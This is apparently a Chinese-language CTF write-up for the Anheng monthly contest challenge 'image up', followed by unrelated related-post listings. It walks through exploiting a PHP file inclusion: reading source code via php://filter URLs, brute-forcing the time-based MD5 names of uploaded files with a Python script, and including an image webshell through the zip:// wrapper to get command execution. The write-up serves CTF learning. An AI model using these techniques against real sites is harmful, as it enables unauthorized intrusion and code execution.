安恒月赛 image up
http://101.71.29.5:10007/index.php?page=login
仔细观察这个url的话会发现,存在文件包含。
而且并没有login.php而是login,猜测代码是
<?php include str."php";
随便账号密码就能登陆,来到了一个上传页面,只能上传图片,回头看看题目
这里的思路明确了,文件包含加图片马。
在这时间统一的世界里,上传图片试试吧
突然发现,并不知道图片去哪里了。
用为协议读取源代码,
http://101.71.29.5:10007/index.php?page=php://filter/read=convert.base64-encode/resource=login http://101.71.29.5:10007/index.php?page=php://filter/read=convert.base64-encode/resource=upload
注意,因为包含文件的时候自动拼接.php,所以这里只写login和upload
在upload这里我们发现代码实现的功能。
分割文件名和文件后缀,然后文件名保存为MD5(当前时间+文件名)+文件后缀,上传到upload目录下边。
这个文件名其实是可以预测的,只不过我们得稍微的爆破一下他前后左右很短的一段时间,访问他是否存在来判断时间是否正确。
制作一个图片马,上传后立即运行脚本。
import time
import hashlib
import requests
def md5(str):
m=hashlib.md5()
m.update(str)
return m.hexdigest()
t=int(time.time())
for i in range(t+8*3600-20,t+8*3600+60):#时差查了八个小时
url="http://101.71.29.5:10007/"+"uploads/"+md5("sky"+str(i))+".jpg"
res=requests.get(url)
if res.status_code==200:
print(url+'')
直接包含这个图片,发现不行,因为读upload.php源码的时候会发现拼接了.php,相当于你包含了shell.jpg.php,这是一个不存在的文件。
为了绕过拼接,我们可以用phar和zip为协议。
本来最后必须要打你完整的木马的名字:name.php,但是php是自动拼接的,所以就之打name。
这样就可以让绕过.php的自动拼接了。。。
http://101.71.29.5:10043/index.php?page=zip://uploads/图片.jpg%23shell密码,然后命令执行就可以了
安恒月赛 image up的更多相关文章
- 安恒月赛WP
一月 一叶飘零大佬的WP:安恒月赛一月 二进制部分:zjgcjy大佬的WP reverse1更容易理解的一种解法 pwn1详解 二月 一叶飘零WP 二进制部分: reverse Pwn 三月 ...
- RSA共模攻击
在安恒月赛中碰到一道密码学方向的ctf题 附上源码 from flag import flag from Crypto.Util.number import * p=getPrime(1024) q= ...
- 安恒X计划12月月赛
ezweb 主要是序列化问题.没有PHP环境,在线运行的.实例化对象之后修改一下file.然后echo输出序列化的结果.不过下面有一个正则检查.数字前加一个+,影响了正则的匹配,但是对于序列化的还原没 ...
- 安恒7月赛wp
1.[order] 这道题,发现order参数处有注入点,于是就使用sqlmap盲注,emmmm,学到了sqlmap的一些小窍门. 首先,解题的语句是: sqlmap -u "htt ...
- 安恒杯2月月赛-应该不是xss
1. 打开题目一看,是个留言板 2. 查看源码发现有几个js文件 依次打开发现在main.js里存在这样一段代码 3. 访问 /#login是登录的界面,/#chgpass是修改密码的界面,其中修改密 ...
- 安恒杯11月月赛web题目-ezsql详细记录
通过此题目可以学习到 1.通过load_file+like来盲注获取文件内容 2.php魔术方法__get函数的用法 3.bypass linux命令过滤 题目中给了注册和登录的功能,没有源码泄露 ...
- 2018安恒杯11月月赛 MISC
题目放评论了 Numeric password 这次隐写没有按照套路出牌,很强. 记录一下 看来自主学习的能力很有待提高. 打开Numeric password.txt 中华文化博大精深,近日在教小外 ...
- 安恒杯月赛 babypass getshell不用英文字母和数字
BABYBYPASS 先贴代码: ①限制字符长度35个 ②不能使用英文字母和数字和 _ $ 最后提示有个getFlag()函数,从这个函数入手. 我们的第一思路是直接eval执行getFlag函数,但 ...
- 2020 安恒2月月赛 misc
题目链接:https://pan.baidu.com/s/19l54Nukt6evOr4UgbHMXIQ 提取码:1qbs 0x01 lemonEssence 咦?在kali打开是出错,改宽后图片变了 ...
随机推荐
- linux性能测试脚本
http://linux-bench.com/ What is Linux-Bench? Linux-Bench is a simple script that provides a basic le ...
- 制作X509证书
makecert -r -pe -n "CN=XXX" -b 01/01/2005 -e 01/01/2020 -sky exchange -ss my
- pat甲级1123
1123 Is It a Complete AVL Tree(30 分) An AVL tree is a self-balancing binary search tree. In an AVL t ...
- idea搭建ssm
第一步:打开intellij idea,创建maven项目 参考:http://blog.csdn.net/w8897282/article/details/71173211 1.创建一个maven ...
- [VC]VC实现开机自动运行程序
有时候,我们需要在计算机启动的时候就启动某些程序,不要人干预.这里,提供一种让程序开机自动运行的方法.见下面代码: BOOL CXXX::SetAutoRun(CString strPath) { C ...
- ActiveX插件的Z-Index属性无效问题解决
在Web开发中我们经常通过z-index设置多个元素之间的层叠关系,这种方式在多数情况下很有效,但是如果遇到有窗体元素时这种方式常常显得无能为力,今天我们就一块看一下如何有效的解决这个问题. 在Web ...
- 【BZOJ1088】[SCOI2005] 扫雷Mine(分类讨论)
点此看题面 大致题意: 给你一个\(2*n\)的扫雷棋盘,现让你根据第二列的信息确定第一列有多少种摆法. 扫雷性质 听说这是一道动态规划+数学题. 其实,根据扫雷游戏的某个性质,只要确定了第一个格子是 ...
- SqlServer 学习笔记
随机函数 select rand() declare @age int set @age = rand()*100 select @age 数据类型转换 declare @birthday datat ...
- python_77_json与pickle序列化3
#此方法:dump多次,而不可以load多次,只能load一次,否则会出错 只有序列化,无反序列化 import json info={ 'name':'Xue Jingjie', 'age':22, ...
- Python-Boolean operation
一.布尔运算符 1.x and y: if x is false, then x, else y 2.x or y: if x is false, then y, else x 3.not x: if ...